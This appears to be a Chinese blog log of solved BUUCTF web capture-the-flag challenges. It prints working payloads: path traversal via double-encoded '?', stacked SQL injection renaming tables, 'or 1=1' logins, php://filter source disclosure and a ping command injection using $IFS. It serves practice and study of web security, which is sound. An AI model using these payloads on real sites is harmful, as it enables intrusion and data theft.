2021-5-5 buu刷题记录

2024-05-07 21:07:09

生活所迫，从头捡回来

第一题：

CTF-BUUCTF-[HCTF 2018]WarmUp

php代码审计题

四个if判断只有最后一个走得通，就是把第二个？进行2次url加密
然后得到%253f 然后构造payload：file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg
这样flag就出来了

第二题：

[极客大挑战 2019]EasySQL

万能密码直接出

第三题

[强网杯 2019]随便注

堆叠注入很早之前写过的题了
最后就是word可以显示一串数字的表不能显示
然后rename把一串数字的表名改成word把原本的word改成其他的，最后1' or 1=1 #弄出来

1';rename tables `words` to `words1`;
rename tables `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#

1' or 1=1 #

第四题

[极客大挑战 2019]Havefun

F12 然后?cat=dog

第五题

[SUCTF 2019]EasySQL

没过滤；有个特殊解法*,1
后端代码猜测是：

select $_GET['query'] || flag from flag

第六题：

[ACTF2020 新生赛]Include

Can you find out the flag?
就是那个把flag.php通过base64加密之后输出出来。

?file=php://filter/convert.base64-encode/resource=flag.php

然后去解密就是flag

第七题：

[极客大挑战 2019]Secret File

F12 跳转抓包 secr3t.php

然后提示在flag.php里面
直接：file=php://filter/convert.base64-encode/resource=flag.php

第八题：

[极客大挑战 2019]LoveSQL

最简单的联合注入了，啥东西都没有

第九题：

[ACTF2020 新生赛]Exec

简单管道符 cat /flag

第十题：

[GXYCTF2019]Ping Ping Ping

?ip=127.0.0.1;cat$IFS$1`ls`

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");

2021-5-5 buu刷题记录相关推荐

BUU刷题记录——Misc(一)
文章目录前言: 1.九连环 2.面具下的flag 3.刷新过的图片 4.snake 5.[BJDCTF 2nd]圣火昭昭前言: 最近学习之余在BUU上刷了几道misc题,有一些没接触过的知识,挺有 ...
BUU刷题记录——5
October 2019 Twice SQL Injection 由题目名可知为二次注入 username =1' union select database() # username =1' uni ...
[BUU刷题记录]day01-起步
BUU-WEB 这是一个菜鸡的蜕变先小记录一下题目环境部署必备的docker安装 sudo apt-get remove docker docker-engine docker.io contain ...
BUU刷题记录(四)
以下几题的ciscn是我先抽出来做的,因为不久就是ciscn,所以看看之前的题目,先不按顺序十七.ciscn_2019_n_3 照例checksec一下开启了nx和canary,relro只开启部 ...
BUU刷题记录——6
[De1CTF 2019]Giftbox De1CTF Web WriteUp – 赵 login命令处盲注获取登录密码登陆后其他可用命令 targeting code position => ...
buu刷题记录 [PWNHUB 公开赛 2018]傻 fufu 的工作日
[PWNHUB 公开赛 2018]傻 fufu 的工作日 [PWNHUB 公开赛 2018]傻 fufu 的工作日(上传差异绕过) | (guokeya.github.io) /index.php.b ...
[SWPUCTF] 2021新生赛之Crypto篇刷题记录(11)
[SWPUCTF] 2021新生赛之Crypto篇刷题记录① [SWPUCTF 2021 新生赛]crypto6 [SWPUCTF 2021 新生赛]ez_caesar [SWPUCTF 2021 新 ...
蓝桥杯官网刷题记录python
蓝桥杯官网刷题记录python 由于很多题都会在2020.2021.2022年省赛出现,有的在前面文章里做过的这里就不会再说了一.空间小蓝准备用 256MB 的内存空间开一个数组,数组的每个元素都 ...
LeetCode刷题记录15——21. Merge Two Sorted Lists（easy）
LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) 目录 LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) ...

最新文章

热门文章